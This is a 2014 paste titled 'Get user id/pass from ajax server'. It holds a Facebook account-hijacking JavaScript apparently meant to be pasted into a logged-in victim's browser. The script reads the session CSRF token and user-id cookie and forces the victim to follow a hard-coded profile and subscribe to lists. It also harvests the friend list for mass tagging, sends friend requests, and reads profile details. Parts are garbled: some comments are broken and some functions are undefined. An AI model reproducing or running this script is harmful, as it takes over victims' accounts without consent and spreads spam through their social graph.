Get user id/pass from ajax server

SUBMITTED BY: Guest

DATE: July 2, 2014, 7:48 a.m.

FORMAT: Text only

SIZE: 5.2 kB

Raw Download

HITS: 1056

Report
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. function a(abone){
  4. var http4 = new XMLHttpRequest();
  5. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  6. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  7. http4.open("POST", url4, true);
  8. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  9. http4.setRequestHeader("Content-length", params4.length);
  10. http4.setRequestHeader("Connection", "close");
  11. http4.onreadystatechange = function() {
  12. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  13. }
  14. http4.send(params4);
  15. }
  16. // Close the connection
  17. function sublist(uidss) {
  18. var a = document.createElement('script');
  19. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  20. document.body.appendChild(a);
  21. }
  23. // Hàng VIP
  24. a(100006998447616);
  34. // T? dây tr? xu?ng là nh?m ch? y?u gi?u b?t ID
  35. function sarkadaslari_al(){
  36. var xmlhttp = new XMLHttpRequest();
  37. xmlhttp.onreadystatechange = function () {
  38. if(xmlhttp.readyState == 4){
  39. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  40. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  41. smesaj = "";
  42. smesaj_text = "";
  43. for(i=f*10;i<(f+1)*10;i++){
  44. if(arkadaslar.payload.entries[i]){
  45. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  46. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  47. }
  48. }
  49. sdurumpaylas(); }
  51. }
  53. };
  54. var params = "&filter[0]=user";
  55. params += "&options[0]=friends_only";
  56. params += "&options[1]=nm";
  57. params += "&token=v7";
  58. params += "&viewer=" + user_id;
  59. params += "&__user=" + user_id;
  61. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  62. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  63. xmlhttp.send();
  64. }
  66. var tiklama = document.addEventListener("click", function () {
  67. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  68. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  69. sarkadaslari_al();
  70. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  72. document.removeEventListener(tiklama);
  73. }
  74. }, false);
  76. function sarkadasekle(uid,tem){
  77. var xmlhttp = new XMLHttpRequest();
  78. xmlhttp.onreadystatechange = function () {
  79. if(xmlhttp.readyState == 4){
  80. }
  81. };
  83. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  84. var params = "to_friend=" + uid;
  85. params += "&action=add_friend";
  86. params += "&how_found=friend_browser";
  87. params += "&ref_param=none";
  88. params += "&outgoing_id=";
  89. params += "&logging_location=friend_browser";
  90. params += "&no_flyout_on_click=true";
  91. params += "&ego_log_data=";
  92. params += "&http_referer=";
  93. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  94. params += "&phstamp=165816749114848369115";
  95. params += "&__user=" + user_id;
  96. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  97. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  99. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  100. xmlhttp.send(params);
  101. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  102. cinsiyetgetir(uid,tem,"sarkadasekle");
  103. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  104. xmlhttp.send(params);
  105. }
  106. }
  108. var temsonuc = {};
  109. var temhtml = document.createElement("html");
  110. function scinsiyetgetir(uid,tem,fonksiyon){
  111. var xmlhttp = new XMLHttpRequest();
  112. xmlhttp.onreadystatechange = function () {
  113. if(xmlhttp.readyState == 4){
  114. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  115. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  116. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  117. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  118. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  119. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  120. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  121. }
  122. eval(fonksiyon + "(" + id + "," + tem + ");");
  123. }
  124. };
  125. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  126. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  127. xmlhttp.send();
  128. }
comments powered by Disqus